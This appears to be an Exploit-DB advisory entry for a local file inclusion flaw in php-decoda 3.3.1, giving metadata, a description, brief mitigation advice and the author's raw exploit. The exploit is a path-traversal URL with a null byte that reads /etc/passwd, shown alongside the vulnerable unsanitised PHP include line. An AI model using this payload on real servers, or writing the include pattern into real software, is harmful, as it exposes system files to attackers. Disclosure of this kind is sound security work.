php-decoda local file inclusion

vendor:

php-decoda

by:

Number 7

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: php-decoda

Affected Version From: 3.3.1

Affected Version To: 3.3.1

Patch Exists: NO

Related CWE: N/A

CPE: a:milesj:php-decoda:3.3.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2012

php-decoda local file inclusion

An attacker can exploit a Local File Inclusion vulnerability in php-decoda 3.3.1 to read arbitrary files on the server. This is due to a lack of proper validation of the 'view' parameter in the 'index.php' script, which allows an attacker to include arbitrary files on the web server.

Mitigation:

Input validation should be used to prevent the inclusion of arbitrary files. Additionally, access to the vulnerable script should be restricted.

Source

Exploit-DB raw data:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Exploit Title: [php-decoda local file inclusion ]
# Date: [16/06/2012]
# Author: [Number 7]
# Software Link: [http://milesj.me/code/php/decoda]
# Version: [3.3.1]
# Tested on: [linux]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exp: 
http://localhost/milesj-php-decoda/index.php?view=../../../../../../../etc/passwd%00
 
~~Line 111 in Index.php:
	<?php	include $view .'.php'; ?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Blogpot:   [http://TunisianSeven.blogspot.com/]
Twitter:   [@TunisianSeven]